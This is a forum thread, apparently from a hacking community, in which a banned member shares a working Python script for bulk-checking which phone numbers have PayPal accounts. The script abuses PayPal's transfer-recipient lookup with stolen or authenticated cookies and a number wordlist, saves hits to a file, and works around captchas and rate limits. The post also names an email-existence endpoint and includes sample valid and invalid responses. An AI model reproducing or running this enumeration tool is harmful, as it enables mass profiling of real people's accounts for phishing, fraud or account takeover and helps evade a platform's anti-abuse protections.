Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   2071

HOW TO check Paypal phone/mobile number validity ?

by muhammadali999 - 04 January, 2022 - 10:54 AM
This post is by a banned member (muhammadali999) - Unhide
55
Posts
11
Threads
4 Years of service
#1
(This post was last modified: 04 January, 2022 - 10:56 AM by muhammadali999. Edited 1 time in total.)
Following api is used for checking email:
Code:
https://www.paypal.com/welcome/rest/v1/emailExists
But I didn't get any proper api for phone number validation. Currently, I'm using an hack that invites a person via phone number. Invalid phone number returns with json data that includes [recipientId] key is empty. For valid, it return some hash length 13 like `MKWCCUXWRVASE`.
I captured this api from `
network` tab in firefox.

Here's my code:

import requests, json, time

Country_Code = "92"                                                                                                                                  # Pakistan country code
wordlist = "numbers.txt"
url = "https://www.paypal.com/myaccount/transfe...ipient=%2B" + Country_Code + "%20"
headers = {"Accept":"application/json", "Cookie":"Cookie: ts=..."}                                                                    # Cookies must be authenticated

with open(wordlist) as lines:
    for number in lines:
        number = number.strip()
        while True:
            text = requests.get(url + number, headers=headers()).text
            data = json.loads(text)
            if "htmlResponse" in data:
                input("Please solve capcha")
                continue
            hash = data["data"]["recipientDetails"]["recipientId"]
            if hash is None:
                print(number)
            else:   
                print("FOUND:" + number)
                open("valid.txt","a").write(number + ":" + hash + "\n")
            time.sleep(3)
            break
# Message for staff: It took too long for code syntax highlighting. Its for readers ease. Please support such feature.
# Use prism or
rainbow


If number is
VALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+91 xxxxxxxxxx",
"token": "PP-P42S84634M3922825H",
"
recipientId": "MKWCCUXWRVASE",
...


If number is
INVALID, response is:
"data": {
"recipientDetails": {
"rate": "",
"recipient": "+92 xxxxxxxxxx",
"token": "PP-P3B982940TG386220S",
"
recipientId": null,
...



But this method is between manual and automatic way and has limitations:
- need authenticated cookies
- have to solve google recapcha (both v2,v3) manually on website
- recapcha frequency and toughness increases with increase in time with respect to number of requests/sec
- even after googl recapcha v3, it blocks for around 10 min



Actually, I have thousands of phone numbers. Google/telegram/flipkart contacts api allows to get info from a number.
[Image: dark-prince.jpg]
I'm Masoom Shetaan (innocent evil). Both are opposites. It just depend upon challenge I have been assigned.
This post is by a banned member (poweho3598) - Unhide

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)